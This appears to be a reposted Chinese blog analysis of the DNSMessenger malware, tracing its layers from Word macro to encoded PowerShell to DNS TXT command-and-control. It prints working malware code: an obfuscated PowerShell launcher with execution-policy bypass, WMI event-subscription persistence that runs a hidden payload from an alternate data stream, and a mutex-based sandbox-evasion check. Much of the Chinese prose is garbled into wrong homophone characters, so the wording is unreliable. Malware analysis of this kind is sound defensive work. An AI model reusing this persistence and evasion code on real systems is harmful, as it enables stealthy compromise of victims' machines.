恶意软件DNSMESSENGER分析

在这篇文章中,我将给大年夜家先容一种经由过程阐发DNSMessenger恶意软件提取的措施,经由过程这个例子结果,你们可以评论争论我应用的措施,并思虑每个步骤的历程。

源代码

这个恶意软件发明于一个SHA-256 hash: 340795d1f2c2bdab1f2382188a7b5c838e0a79d3f059d2db9eb274b0205f6981的恶意Word文档中。为了从宏中提取VBA源代码,我应用了OLETools对象,安装OLETools之后,只需运行敕令olevba 就可以显示出宏。

VB和嵌入式PowerShell

在这里我们发清楚明了一个问题,进击者为了让脚本更难被破解嵌入了大年夜量换行间距,广泛分散内容,在应用OLETools显示宏之后,我们还有花大年夜量光阴来探求真正有用的脚本。作者还应用了无偿字符串连接来破坏简单的字符串署名——这有助于进击者回避静态阐发对象,探求像”winmgmts:\\.\root\cimv2″这样的字符串,并可能会被以下内容抛出:”w” & “” & “in” & “” & “mgm” & “” & “ts” & “” & “:” & “” & “\\” & “.” & “\r” & “” & “oot\c” & “” & “imv” & “” & “2”我们应用lStr敕令对变量进行解码:lStr = “powershell -ep bypass -C “”$data = [System.Convert]::FromBase64String(‘H4sIAAAAAAAEAO1da3PayNL+7l+hol … many many more lines …如图:

继承进一步钻研。

解开Base64

下面是一个简单的Python3脚本,用于解码前面提到的Base64 blob

import base64

import sys

with open(sys.argv[1]) as f:

encoded = f.read()

sys.stdout.write(base64.b64decode(encoded))

解码后,天生的内容仍旧无法读取。但我们可以知道其内容是GZIP款式的:存储在lStr中的VB字符串应用System.IO.Compression.GZipStream工具解压缩解码内容的敕令;另一种识别要领是经由过程其(magic number),即开始文件署名(1F8B);我们还可以在Unix机械上应用file 敕令来确定文件类型。现在,我们将应用gunzip 解压缩内容,这会创建一个具有相同名称的解压缩文件,打开解压缩的文件将显示隐隐的PowerShell代码(第2层),颠末一些清理和重构后,脚本行径的一些细节会变得加倍显着。

Base64解码和解压缩的PowerShell

滚动解压缩的脚本你会找到另一个Base64 blob,它充当下一阶段的payload,我将其命名为第3层payload。

存储payload

假如受害者具有PowerShell 3.0或更高版本,则该脚本将编码的第3层payload存储在名为kernel32.dll的备用数据流中,位于%PROGRAMDATA%\Windows\。恶意软件作者平日用ADS来暗藏数据,只需列出其文件,你就无法找到payload。假如受害者具有较旧版本的PowerShell,则该脚本会在注册表中为密钥添加名为Path的新属性,以存储有效内容。假如用户具有治理员权限,有效内容将存储在HKLM:Software\Microsoft\Windows\CurrentVersion中,否则,它将存储在HKCU:Software\Microsoft\Windows中。

注册表键

这些脚本在%PROGRAMDATA%\Windows\中创建了一个名为kernel32.vbs的备用数据流,并向其写入代码,该代码可以从上一步中存储的任何位置检索并履行payload。每次用户登录30分钟后,进击者会改动运行注册表项以履行kernel32.vbs。假如用户具有治理员权限,则目标密钥为HKLM:Software\Microsoft\Windows\CurrentVersion\Run\, 否则,目标密钥为HKCU:Software\Microsoft\Windows\CurrentVersion\Run\。

创建新的WMI工具

假如用户具有治理员权限,则脚本将创建永远WMI事故,并且监视用户登录,30分钟之后履行编码的payload。以下是代码。首先,它会删除现有的:

gwmi __eventFilter -namespace root\subscription | Remove-WmiObject

gwmi CommandLineEventConsumer -Namespace root\subscription | Remove-WmiObject

gwmi __filtertoconsumerbinding -Namespace root\subscription | Remove-WmiObject

然后它会创建自己。假如你有PowerShell 3.0或更高版本,逻辑上讲是这样的:

$event_filter = Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “root\subscription” -Class __EventFilter -Arguments @{Name = $kernel32_filter; EventNamespace = “root\CIMV2”; QueryLanguage = “WQL”; Query = “Select * from __InstanceCreationEvent within 30 where targetInstance isa ‘Win32_LogonSession’”}

$event_consumer = Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “root\subscription” -Class CommandLineEventConsumer -Arguments @{Name = $kernel32_consumer; ExecutablePath = “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”; CommandLineTemplate = “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -C `”IEX `$(Get-Content -Path $windows_path -Stream $kernel32_dll|Out-String)`””}

Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “root\subscription” -Class __FilterToConsumerBinding -Arguments @{Filter = $event_filter; Consumer = $event_consumer}

预定义务

该脚本还会创建一个计划义务,以便在用户登录后30分钟运行恶意软件。用于启动恶意软件的措施仅略有不合,详细取决于用户是否具有治理员权限。假如用户长短治理员,wscript 则用于履行内容kernel32.vbs。否则,应用 Invoke-Expression cmdlet。

DNS查询

现在我们已经评论争论了进击者实现恶意软件持久性的各类措施,让我们来看看下一个编码的payload是由什么组成的。在Base64解码和一些手动反肴杂之后,你会留意到函数逻辑开首的这段代码,它包孕了if之后的许多其他代码。

[1] [2]下一页

[bool]$flag = $false;

$mutex = New-Object System.Threading.Mutex($true, “SourceFireSux”, [ref] $flag);

if (!$flag) { exit; }

乍一看,彷佛这个if之后的恶意代码应该永世不会履行,但因为构造System.Threading.Mutex的语义,静态阐发对象或弱动态阐发系统可能无法实现将$flag变为true。从Source Fire来看,可能是加入了这种特定的回避技巧,以阻拦Source Fire阐发。很显着,代码应用nslookup敕令重复查询DNS文本记录,这些查询的相应抉择了法度榜样的行径:1.”idle” 会导致进程在继承之前在3500到5400秒之间休眠2.”stop” 会提示进程退出3.继承4.应用Invoke-Expression履行查询相应因为这些领域不再具有活性,我们将不得不依附先前Edmund Brumaghin和Colin Grady at Talos的数据,由于它们进行了原始阐发。

敕令与节制通信

为了相应DNS文本查询,你必须发送另一个payload,它包括一个gzip压缩和Base64编码的字符串,以及对第3层中dec函数的调用,用以解开它,所得的结果将通报给要履行的Invoke-Expression敕令行。根据Talos的阐发,这个payload重定向STDIN,STDOUT和STDERR,以便进击者可以读取和写入敕令行处置惩罚器,payload履行更多DNS查询敕令,并与敕令和节制办事器建立通信通道。从这里开始,进击者可以经由过程DNS文本查询、相应发送要在受害者谋略机的敕令行,来说冥器上履行的敕令,并接管这些敕令的结果。

着末的话

这是一段较旧但有趣的恶意软件阐发,我将其分化为4个不合的层并描述了每个层的属性,详细来说,是回首了此恶意软件所采纳的肴杂要领,以及它用于实现持久性的不合措施。

上一页[1] [2]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包